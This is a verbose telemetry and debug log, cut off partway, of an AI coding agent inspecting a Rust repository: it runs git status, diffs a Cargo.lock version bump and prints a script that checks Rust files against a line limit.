turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:07:22.080Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:22.082Z] [INFO] 2026-07-12T04:07:22.080993Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:07:22.082Z] [INFO] \n[2026-07-12T04:07:22.105Z] [INFO] 2026-07-12T04:07:22.104792Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:07:22.105Z] [INFO] \n[2026-07-12T04:07:22.109Z] [INFO] 2026-07-12T04:07:22.108134Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:07:22.109Z] [INFO] \n[2026-07-12T04:07:22.112Z] [INFO] 2026-07-12T04:07:22.112069Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:07:22.112Z] [INFO] \n[2026-07-12T04:07:22.206Z] [INFO] 2026-07-12T04:07:22.205717Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:07:22.206Z] [INFO] \n[2026-07-12T04:07:22.207Z] [INFO] 2026-07-12T04:07:22.205844Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:07:22 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"x-oai-request-id\": \"fcd939dc-7ab5-49a3-8ee0-75adc73e3d10\", \"x-openai-proxy-wasm\": \"v0.1\", \"cf-cache-status\": \"DYNAMIC\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=fH%2BWSkY7o01qRIasAKL1QIe1zV7eT%2BNd3Q1y5%2F%2FsCsqyBytcrLf2m7ON41rcMdIv4Ti1CGJUyl86iWCy2vpkW7AWGqXqZN%2FmAHRFlf0eEpOr4cGWoxZOWRqhdUAc\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-ray\": \"a19d2e3b4b76d2cb-FRA\"} version=HTTP/1.1\n[2026-07-12T04:07:22.207Z] [INFO] \n[2026-07-12T04:07:23.590Z] [INFO] 2026-07-12T04:07:23.589488Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5312fb934481919e83fca6a6fa6e7f\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxL7BUDXfBJzf3aiJbEp-d57IS1aJwUtg0_q6bVSr416tDyggNBQHCIbH2UNssF0iR6i-ZY2KYXukeYLJov9SBVK4X6LjZk688HqbFwnqA7eNEE7nnE5dSgEpP8IUyUrmagIxN6i8u_e6atOi_WTqv8C_IbPYR3UxytCVjSK4wJmy7QxXcigu9EQldijlxM0DzFV7kLwoIHReHyqAY0VavJQAIkkiszGQHdUh3XoP-H8KP_fi3Ngopc2P_OQDoLBzqLxC2J8ahF1d-8UN8dAeoQ6TCuk5cApP2jDJ3-r52idyBwA0R7lAattzCPDvPz4UYkbcC5PcmU1o9NFv_hXe9-uSFzkGSwlzM9dBeIWSAI5IWtkfWpbRlJz2DbT3TUwxcPBdQ74Ez-icVTNZP9mvny1qGuVwPs-cSzoBeyoNGIzOm4YD4sqRonHw8cOJYbQjPU4fqaLATFMvdwLimmN_CZOrUbeLcG0PKMin_kPPz0zvUCt0Ia-CM_oLPwQ-f0-hxmmxGX7dwhJU2doqtAA6cX8L4abdhYGEGq9HEQWbmCsi_v3pMbdTPK8Z4rkZr_0zA-pesSOFVGq2tAMfLjkE8ierELvF3sFjx2-Ra915CDdAYj6M49CFEu1L9otRaQ7X1NgsnFJBsyTYxRbLxac0pMGgXfI_fgDsQ5jZubGAOzvbw75kuEYqbirbQW_g2ps6rCY3fN4YdqDswp0bDAapWhA4BFhvNtUB_QkuplLRPhvECceQM-3IBRMtP2gsu0Kmtdv-zI_SThoQzL14nY2CmPA3qpvS97lAmC9epNaoKMkB3L83uhQoCqUYl2fsM7XWBINUXh71j0LTnepHSXnjEN8Q8IUj2p4TpFHUkP0e9Uj4OVz9xeZ3vy95SCSMD2IAwSzlz7V_T1_UaOpfFfLM2EWIQ==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:23.590Z] [INFO] \n[2026-07-12T04:07:26.293Z] [INFO] 2026-07-12T04:07:26.286179Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5312fb934481919e83fca6a6fa6e7f\"), summary: [SummaryText { text: \"**Inspecting Cargo.lock changes and missing rust-script**\" }], content: Some([]), encrypted_content: Some(\"gAAAAABqUxL-QmLgc7D8pu-PAuZGdowF_SNmLkrWI6W4Y9LlQDtNph4jHfaJT1WqG9F8bKDWJb386Y1IntQZwUKk1UpOHYdTwwP5_iGm5w1rq2q5of-2kec1Yan-X0zFISfhLAjcRV7qcm-1pExH12QElogILViLTVNTDF8Ie38ei9aVDq242NDDAnx3F7WeoRWccnw18N2aLGY6RLTzWdNj4Demz7hS2P52t3b4pmP98XIu0b9mwc9l64noaRRtUpv0mcBMH_tbOwx7pzJCBAkyE2Wgn5KGCTc4tX79A6Pb7cjr42pBApLs359k6tLRaROFRZMcg_WVO3YjNy9QMlg9Jz6uTB_-UW7T7eufMVp2zc1gKpF_0d9qlvboqHwBSbW2p1R4DJyfxAqtSr9kU5Vjn27cfPqm3DW34u1poHevxFZdfqkuDX-9BT8ryvUIC71zYsyh6IucUx6T84ttTyQYZ6j7psSwkiCueLKrCU6JtB6Bpa4e4SNehOF33Foxn9yIs-ltwNYI_Yc4yM6EPT6dx8RVtk20Q_jx5vhLPI6zC62-XbmbugPXNchNWE1ymhmwBkZwtt0wQv1lgbs5emvj1TcQGMmqjGxmNlvK0nAqzG0OIEEwbHVpVjDfrebkwq5TASZ4RSvgqLQeA1--GeOt2f6z2-IEUemZh6xb2inxb02GalbiZvdLL22oNfSrxWgUFSIxk2YLrHIDBS15ZAoLUQOkmnKk9a6OdUj3vMsUUli4WcuARS3un06SuA5_R1ZZmc5WfL8-zFT7kHaSpeZGA_9U3vT4gxyhDLQRlmJl-NN-4A1c5g0IsUvgT-Em4WrqocumGAZAGrWoaNMBnQsCJ82pqZCz8JNK7jkr1M_fnyOTnqQVXhqvIlHffBhMOB-H0v7nVzYuYeX9lc3UtVYvJJfHabbNPLHhnIMkEsuYPI0duYVSNc_xcclJoVeFYLElU_Bruq571BDrUhsxzcfOzNH_xOK7pJaq0ihy4z1NoVGf21P1MmsAn__iszgI2nZYQgTj3EG_4QnSWgnY4hFvlArLpQ9xZSKdXEKSxro7r9sz0HEYsOeOYjwiRYpbbHFMHyYP5YHgTtSKg9tnKdlTyHz7cWz4zWmecVZKios8AzgDyIhOjogwgxYPIDK0By7uQiArzdzkbm8xIp_Y6KirGxTYjnXEoHjLQ9sejiLlsYhUvh0jUBBJV5mytZIqR66m-Tkn7nt0i1xZ8scXTdXEBX6Qaqk0lydgzAztIQX_xpVdE8Moxcj1gQzkYk49Mmxm53VUv_UiPy8ClHaq5oG-Q8zVGHtu3jSn0RPW3nHs_V0O-RK9_dCskKL11qfgiYouaFwCXuUmU5DBzhawGyHCYUFdWg2o8qv2XvkfcBn2Y7oKqpxd4eZkNX-C9P3EsENlkQJq_zFaWeFAF8JVjhkOwFNujO1i5227VS7c3vuaBvK4FIhG0smiRQDJ_r3hpDdOtHF5KwJqpdWsp-zQ7hPc7LYrVvhv6pCwqZ1T8kWa6Eq82jYpJU8IrNePqrP4UjYb70ssZUL_gmJEmLQbxi0IZFe7e4vo_4RhbTrJXdZNqRwfR6qNEOcQOSxOJnodWuB7kvqtNX1oUAeMf2icwuoV2G-3pCNAKQ==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:26.293Z] [INFO] \n[2026-07-12T04:07:26.294Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_37\",\"type\":\"reasoning\",\"text\":\"**Inspecting Cargo.lock changes and missing rust-script**\"}}\n[2026-07-12T04:07:26.294Z] [INFO] \n[2026-07-12T04:07:26.303Z] [INFO] 2026-07-12T04:07:26.298331Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a5312fe3dec8191ad0dc380ea1ff259\"), status: Some(\"in_progress\"), call_id: \"call_hvBWvP0jKVO0Z4rhqDstgpUq\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:26.303Z] [INFO] \n[2026-07-12T04:07:27.661Z] [INFO] 2026-07-12T04:07:27.660294Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const r=await tools.exec_command({cmd:\"git status --short && git diff -- Cargo.lock && command -v markdownlint || true && command -v npx || true && command -v rust-script || true && sed -n '1,120p' scripts/check-file-size.rs && git ls-files docs/case-studies/issue-5\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":10000,\"max_output_tokens\":10000}); text(r.output);\n[2026-07-12T04:07:27.661Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:07:27.661Z] [INFO] \n[2026-07-12T04:07:27.676Z] [INFO] 2026-07-12T04:07:27.665502Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a5312fa2d5c8191a1592132497ed533\"\n[2026-07-12T04:07:27.676Z] [INFO] 2026-07-12T04:07:27.665546Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=64132 output_token_count=220 cached_token_count=61184 reasoning_token_count=99 tool_token_count=64352 ttft_ms=1509 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:07:27.665Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:27.676Z] [INFO] 2026-07-12T04:07:27.665567Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=64132 output_token_count=220 cached_token_count=61184 reasoning_token_count=99 tool_token_count=64352 ttft_ms=1509 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:07:27.665Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:27.676Z] [INFO] \n[2026-07-12T04:07:27.737Z] [INFO] 2026-07-12T04:07:27.734901Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=exec_command call_id=exec-389ca86e-d421-4706-bdbc-d57b750890cb decision=approved source=Config event.timestamp=2026-07-12T04:07:27.734Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:27.737Z] [INFO] \n[2026-07-12T04:07:27.892Z] [INFO] 2026-07-12T04:07:27.891350Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-389ca86e-d421-4706-bdbc-d57b750890cb arguments={\"cmd\":\"git status --short && git diff -- Cargo.lock && command -v markdownlint || true && command -v npx || true && command -v rust-script || true && sed -n '1,120p' scripts/check-file-size.rs && git ls-files docs/case-studies/issue-5\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":10000,\"max_output_tokens\":10000} duration_ms=157 success=true output=Chunk ID: 649052\n[2026-07-12T04:07:27.892Z] [INFO] Wall time: 0.0000 seconds\n[2026-07-12T04:07:27.892Z] [INFO] Process exited with code 0\n[2026-07-12T04:07:27.892Z] [INFO] Original token count: 811\n[2026-07-12T04:07:27.892Z] [INFO] Output:\n[2026-07-12T04:07:27.892Z] [INFO]  D .gitkeep\n[2026-07-12T04:07:27.892Z] [INFO]  M Cargo.lock\n[2026-07-12T04:07:27.892Z] [INFO] ?? changelog.d/20260712_openmetadata_case_study.md\n[2026-07-12T04:07:27.892Z] [INFO] ?? docs/case-studies/issue-5/\n[2026-07-12T04:07:27.892Z] [INFO] diff --git a/Cargo.lock b/Cargo.lock\n[2026-07-12T04:07:27.892Z] [INFO] index effb973..bf607b7 100644\n[2026-07-12T04:07:27.892Z] [INFO] --- a/Cargo.lock\n[2026-07-12T04:07:27.892Z] [INFO] +++ b/Cargo.lock\n[2026-07-12T04:07:27.892Z] [INFO] @@ -315,7 +315,7 @@ checksum = \"f8ca58f447f06ed17d5fc4043ce1b10dd205e060fb3ce5b979b8ed8e59ff3f79\"\n[2026-07-12T04:07:27.892Z] [INFO]  \n[2026-07-12T04:07:27.892Z] [INFO]  [[package]]\n[2026-07-12T04:07:27.892Z] [INFO]  name = \"meta-ontology\"\n[2026-07-12T04:07:27.892Z] [INFO] -version = \"0.7.0\"\n[2026-07-12T04:07:27.892Z] [INFO] +version = \"0.8.0\"\n[2026-07-12T04:07:27.892Z] [INFO]  dependencies = [\n[2026-07-12T04:07:27.892Z] [INFO]   \"clap\",\n[2026-07-12T04:07:27.892Z] [INFO]   \"links-notation\",\n[2026-07-12T04:07:27.892Z] [INFO] /home/box/.nvm/versions/node/v20.20.2/bin/npx\n[2026-07-12T04:07:27.892Z] [INFO] #!/usr/bin/env rust-script\n[2026-07-12T04:07:27.892Z] [INFO] //! Check for files exceeding the maximum allowed line count\n[2026-07-12T04:07:27.892Z] [INFO] //! Exits with error code 1 if any files exceed the limit\n[2026-07-12T04:07:27.892Z] [INFO] //!\n[2026-07-12T04:07:27.892Z] [INFO] //! Usage: rust-script scripts/check-file-size.rs\n[2026-07-12T04:07:27.892Z] [INFO] //!\n[2026-07-12T04:07:27.892Z] [INFO] //! ```cargo\n[2026-07-12T04:07:27.892Z] [INFO] //! [dependencies]\n[2026-07-12T04:07:27.892Z] [INFO] //! walkdir = \"2\"\n[2026-07-12T04:07:27.892Z] [INFO] //! ```\n[2026-07-12T04:07:27.892Z] [INFO] \n[2026-07-12T04:07:27.892Z] [INFO] use std::fs;\n[2026-07-12T04:07:27.892Z] [INFO] use std::path::Path;\n[2026-07-12T04:07:27.892Z] [INFO] use std::process::exit;\n[2026-07-12T04:07:27.892Z] [INFO] use walkdir::WalkDir;\n[2026-07-12T04:07:27.892Z] [INFO] \n[2026-07-12T04:07:27.892Z] [INFO] const MAX_LINES: usize = 1000;\n[2026-07-12T04:07:27.892Z] [INFO] const FILE_EXTENSIONS: &[&str] = &[\".rs\"];\n[2026-07-12T04:07:27.892Z] [INFO] const EXCLUDE_PATTERNS: &[&str] = &[\"target\", \".git\", \"node_modules\"];\n[2026-07-12T04:07:27.892Z] [INFO] \n[2026-07-12T04:07:27.892Z] [INFO] fn should_exclude(path: &Path) -> bool {\n[2026-07-12T04:07:27.892Z] [INFO]     let path_str = path.to_string_lossy();\n[2026-07-12T04:07:27.892Z] [INFO]     EXCLUDE_PATTERNS.iter().any(|pattern| path_str.contains(pattern))\n[2026-07-12T04:07:27.892Z] [INFO] }\n[2026-07-12T04:07:27.892Z] [INFO] \n[2026-07-12T04:07:27.892Z] [INFO] fn has_valid_extension(path: &Path) -> bool {\n[2026-07-12T04:07:27.892Z] [INFO]     if let Some(ext) = path.extension() {\n[2026-07-12T04:07:27.892Z] [INFO]         let ext_with_dot = format!(\".{}\", ext.to_string_lossy());\n[2026-07-12T04:07:27.892Z] [INFO]         FILE_EXTENSIONS.contains(&ext_with_dot.as_str())\n[2026-07-12T04:07:27.892Z] [INFO]     } else {\n[2026-07-12T04:07:27.892Z] [INFO]         false\n[2026-07-12T04:07:27.892Z] [INFO]     }\n[2026-07-12T04:07:27.892Z] [INFO] }\n[2026-07-12T04:07:27.892Z] [INFO] \n[2026-07-12T04:07:27.892Z] [INFO] fn count_lines(path: &Path) -> Result {\n[2026-07-12T04:07:27.892Z] [INFO]     let content = fs::read_to_string(path)?;\n[2026-07-12T04:07:27.892Z] [INFO]     Ok(content.lines().count())\n[2026-07-12T04:07:27.892Z] [INFO] }\n[2026-07-12T04:07:27.892Z] [INFO] \n[2026-07-12T04:07:27.892Z] [INFO] struct Violation {\n[2026-07-12T04:07:27.892Z] [INFO]     file: String,\n[2026-07-12T04:07:27.892Z] [INFO] [... telemetry preview truncated ...] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:07:27.891Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:27.892Z] [INFO] 2026-07-12T04:07:27.891456Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-389ca86e-d421-4706-bdbc-d57b750890cb duration_ms=157 success=true arguments_length=332 output_length=1692 output_line_count=65 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:07:27.891Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:27.892Z] [INFO] \n[2026-07-12T04:07:27.906Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_38\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc \\\"git status --short && git diff -- Cargo.lock && command -v markdownlint || true && command -v npx || true && command -v rust-script || true && sed -n '1,120p' scripts/check-file-size.rs && git ls-files docs/case-studies/issue-5\\\"\",\"aggregated_output\":\"\",\"exit_code\":null,\"status\":\"in_progress\"}}\n[2026-07-12T04:07:27.906Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_38\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc \\\"git status --short && git diff -- Cargo.lock && command -v markdownlint || true && command -v npx || true && command -v rust-script || true && sed -n '1,120p' scripts/check-file-size.rs && git ls-files docs/case-studies/issue-5\\\"\",\"aggregated_output\":\" D .gitkeep\\n M Cargo.lock\\n?? changelog.d/20260712_openmetadata_case_study.md\\n?? docs/case-studies/issue-5/\\ndiff --git a/Cargo.lock b/Cargo.lock\\nindex effb973..bf607b7 100644\\n--- a/Cargo.lock\\n+++ b/Cargo.lock\\n@@ -315,7 +315,7 @@ checksum = \\\"f8ca58f447f06ed17d5fc4043ce1b10dd205e060fb3ce5b979b8ed8e59ff3f79\\\"\\n \\n [[package]]\\n name = \\\"meta-ontology\\\"\\n-version = \\\"0.7.0\\\"\\n+version = \\\"0.8.0\\\"\\n dependencies = [\\n  \\\"clap\\\",\\n  \\\"links-notation\\\",\\n/home/box/.nvm/versions/node/v20.20.2/bin/npx\\n#!/usr/bin/env rust-script\\n//! Check for files exceeding the maximum allowed line count\\n//! Exits with error code 1 if any files exceed the limit\\n//!\\n//! Usage: rust-script scripts/check-file-size.rs\\n//!\\n//! ```cargo\\n//! [dependencies]\\n//! walkdir = \\\"2\\\"\\n//! ```\\n\\nuse std::fs;\\nuse std::path::Path;\\nuse std::process::exit;\\nuse walkdir::WalkDir;\\n\\nconst MAX_LINES: usize = 1000;\\nconst FILE_EXTENSIONS: &[&str] = &[\\\".rs\\\"];\\nconst EXCLUDE_PATTERNS: &[&str] = &[\\\"target\\\", \\\".git\\\", \\\"node_modules\\\"];\\n\\nfn should_exclude(path: &Path) -> bool {\\n    let path_str = path.to_string_lossy();\\n    EXCLUDE_PATTERNS.iter().any(|pattern| path_str.contains(pattern))\\n}\\n\\nfn has_valid_extension(path: &Path) -> bool {\\n    if let Some(ext) = path.extension() {\\n        let ext_with_dot = format!(\\\".{}\\\", ext.to_string_lossy());\\n        FILE_EXTENSIONS.contains(&ext_with_dot.as_str())\\n    } else {\\n        false\\n    }\\n}\\n\\nfn count_lines(path: &Path) -> Result {\\n    let content = fs::read_to_string(path)?;\\n    Ok(content.lines().count())\\n}\\n\\nstruct Violation {\\n    file: String,\\n    lines: usize,\\n}\\n\\nfn main() {\\n    println!(\\\"\\\\nChecking Rust files for maximum {} lines...\\\\n\\\", MAX_LINES);\\n\\n    let cwd = std::env::current_dir().expect(\\\"Failed to get current directory\\\");\\n    let mut violations: Vec = Vec::new();\\n\\n    for entry in WalkDir::new(&cwd)\\n        .into_iter()\\n        .filter_map(|e| e.ok())\\n        .filter(|e| e.file_type().is_file())\\n    {\\n        let path = entry.path();\\n\\n        if should_exclude(path) {\\n            continue;\\n        }\\n\\n        if !has_valid_extension(path) {\\n            continue;\\n        }\\n\\n        match count_lines(path) {\\n            Ok(line_count) => {\\n                if line_count > MAX_LINES {\\n                    let relative_path = path\\n                        .strip_prefix(&cwd)\\n                        .unwrap_or(path)\\n                        .to_string_lossy()\\n                        .to_string();\\n                    violations.push(Violation {\\n                        file: relative_path,\\n                        lines: line_count,\\n                    });\\n                }\\n            }\\n            Err(e) => {\\n                eprintln!(\\\"Warning: Could not read {}: {}\\\", path.display(), e);\\n            }\\n        }\\n    }\\n\\n    if violations.is_empty() {\\n        println!(\\\"All files are within the line limit\\\\n\\\");\\n        exit(0);\\n    } else {\\n        println!(\\\"Found files exceeding the line limit:\\\\n\\\");\\n        for violation in &violations {\\n            println!(\\n                \\\"  {}: {} lines (exceeds {})\\\",\\n                violation.file, violation.lines, MAX_LINES\\n            );\\n        }\\n        println!(\\\"\\\\nPlease refactor these files to be under {} lines\\\\n\\\", MAX_LINES);\\n        exit(1);\\n    }\\n}\\n\",\"exit_code\":0,\"status\":\"completed\"}}\n[2026-07-12T04:07:27.906Z] [INFO] \n[2026-07-12T04:07:27.909Z] [INFO] 2026-07-12T04:07:27.897383Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_hvBWvP0jKVO0Z4rhqDstgpUq arguments=const r=await tools.exec_command({cmd:\"git status --short && git diff -- Cargo.lock && command -v markdownlint || true && command -v npx || true && command -v rust-script || true && sed -n '1,120p' scripts/check-file-size.rs && git ls-files docs/case-studies/issue-5\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":10000,\"max_output_tokens\":10000}); text(r.output);\n[2026-07-12T04:07:27.909Z] [INFO]  duration_ms=203 success=true output=Script completed\n[2026-07-12T04:07:27.909Z] [INFO] Wall time 0.2 seconds\n[2026-07-12T04:07:27.909Z] [INFO] Output:\n[2026-07-12T04:07:27.909Z] [INFO] \n[2026-07-12T04:07:27.909Z] [INFO]  D .gitkeep\n[2026-07-12T04:07:27.909Z] [INFO]  M Cargo.lock\n[2026-07-12T04:07:27.909Z] [INFO] ?? changelog.d/20260712_openmetadata_case_study.md\n[2026-07-12T04:07:27.909Z] [INFO] ?? docs/case-studies/issue-5/\n[2026-07-12T04:07:27.909Z] [INFO] diff --git a/Cargo.lock b/Cargo.lock\n[2026-07-12T04:07:27.909Z] [INFO] index effb973..bf607b7 100644\n[2026-07-12T04:07:27.909Z] [INFO] --- a/Cargo.lock\n[2026-07-12T04:07:27.909Z] [INFO] +++ b/Cargo.lock\n[2026-07-12T04:07:27.909Z] [INFO] @@ -315,7 +315,7 @@ checksum = \"f8ca58f447f06ed17d5fc4043ce1b10dd205e060fb3ce5b979b8ed8e59ff3f79\"\n[2026-07-12T04:07:27.909Z] [INFO]  \n[2026-07-12T04:07:27.909Z] [INFO]  [[package]]\n[2026-07-12T04:07:27.909Z] [INFO]  name = \"meta-ontology\"\n[2026-07-12T04:07:27.909Z] [INFO] -version = \"0.7.0\"\n[2026-07-12T04:07:27.909Z] [INFO] +version = \"0.8.0\"\n[2026-07-12T04:07:27.909Z] [INFO]  dependencies = [\n[2026-07-12T04:07:27.909Z] [INFO]   \"clap\",\n[2026-07-12T04:07:27.909Z] [INFO]   \"links-notation\",\n[2026-07-12T04:07:27.909Z] [INFO] /home/box/.nvm/versions/node/v20.20.2/bin/npx\n[2026-07-12T04:07:27.909Z] [INFO] #!/usr/bin/env rust-script\n[2026-07-12T04:07:27.909Z] [INFO] //! Check for files exceeding the maximum allowed line count\n[2026-07-12T04:07:27.909Z] [INFO] //! Exits with error code 1 if any files exceed the limit\n[2026-07-12T04:07:27.909Z] [INFO] //!\n[2026-07-12T04:07:27.909Z] [INFO] //! Usage: rust-script scripts/check-file-size.rs\n[2026-07-12T04:07:27.909Z] [INFO] //!\n[2026-07-12T04:07:27.909Z] [INFO] //! ```cargo\n[2026-07-12T04:07:27.909Z] [INFO] //! [dependencies]\n[2026-07-12T04:07:27.909Z] [INFO] //! walkdir = \"2\"\n[2026-07-12T04:07:27.909Z] [INFO] //! ```\n[2026-07-12T04:07:27.909Z] [INFO] \n[2026-07-12T04:07:27.909Z] [INFO] use std::fs;\n[2026-07-12T04:07:27.909Z] [INFO] use std::path::Path;\n[2026-07-12T04:07:27.909Z] [INFO] use 